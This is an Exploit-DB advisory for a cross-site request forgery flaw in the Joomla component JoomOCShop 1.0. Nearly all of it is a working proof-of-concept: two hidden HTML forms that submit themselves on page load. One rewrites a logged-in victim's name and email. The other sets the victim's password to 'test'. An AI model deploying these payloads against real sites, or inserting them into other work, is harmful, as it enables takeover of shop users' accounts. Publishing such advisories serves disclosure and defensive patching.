Joomla! Component JoomOCShop 1.0 - Cross-Site Request Forgery

EDB-ID: 44789
Author: L0RD
Published: 2018-05-28
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A 

 # Date: 2018-05-28 
 # Exploit Author: L0RD or [email protected] 
 # Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/joomocshop/ 
 # Vendor Homepage: https://www.joomlaextensions.co.in/ 
 # Version: 1.0 
 # Tested on: Kali linux 
 =================================================== 
  
 # POC : 
  
 # Change user information exploit : 
  
 <html> 
   <body> 
     <form action="http://site.com/joomoc2/?route=account/edit" method="POST" enctype="multipart/form-data"> 
       <input type="hidden" name="firstname" value="decode" /> 
       <input type="hidden" name="lastname" value="revenge" /> 
       <input type="hidden" name="email" value="decod3&#46;n&#64;gmail&#46;com" /> 
       <input type="hidden" name="telephone" value="100000" /> 
       <input type="hidden" name="fax" value="&#13;" /> 
     </form> 
     <script> 
         document.forms[0].submit(); 
     </script> 
   </body> 
 </html> 
  
  
 # Change password exploit : 
  
 <form action="http://site.com/jcart/account/password.html" method="POST" enctype="multipart/form-data"> 
       <input type="hidden" name="password" value="test" /> 
       <input type="hidden" name="confirm" value="test" /> 
 </form> 
 <script> 
    document.forms[0].submit(); 
 </script> 
  
 ====================================================

Source: www.exploit-db.com
Related Posts